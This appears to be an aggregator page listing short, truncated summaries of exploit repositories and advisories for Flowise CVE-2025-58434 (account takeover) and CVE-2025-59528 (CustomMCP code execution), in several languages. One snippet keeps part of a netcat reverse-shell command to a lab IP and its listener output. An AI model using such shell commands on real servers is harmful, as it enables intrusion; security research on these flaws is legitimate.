CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit-Kette für zwei Schwachstellen, die Flowise = 3.0.5 betreffen. Schwachstellen CVE-2025-58434 — Nicht authentifizierte Account-Übernahme Der Forgot-Password-Endpunkt gibt ein gültiges Passwort-Reset-Token in der API-Antwort zurück, ohne eine Authentifizierung...

CVE-2025-59528

CVE-2025-59528: Prova de Conceito de Execução Remota de Código no Flowise CustomMCP Uma prova de conceito em Go para CVE-2025-59528 direcionada às versões do Flowise = 3.0.5. Resumo O Flowise permite a execução de JavaScript não validado por meio da configuração do nó CustomMCP. A aplicação passa...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Visão Geral Este repositório contém uma prova de conceito demonstrando CVE-2025-59528 no Flowise v3.0.5 A vulnerabilidade existe no nó customMCP, onde a entrada mcpServerConfig fornecida pelo usuário é processada de uma forma que leva à execução de...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authentifizierter RCE Proof-of-Concept für Flowise Version &1|nc 10.10.15.200 443 /tmp/f' Überprüfen Sie den Listener, und es sollte funktionieren: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can'...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Execução Remota de Código CVSS 10.0 Crítico | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 e 3.0.6 Visão Geral Uma vulnerabilidade crítica de execução remota de código no nó CustomMCP do FlowiseAI Flowise. A função convertToValidJSONString passa a entrada...

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE Chain – ATO CVE-2025-58434 und RCE CVE-2025-59528 ⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal. Inhaltsverzeichnis Dieses...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...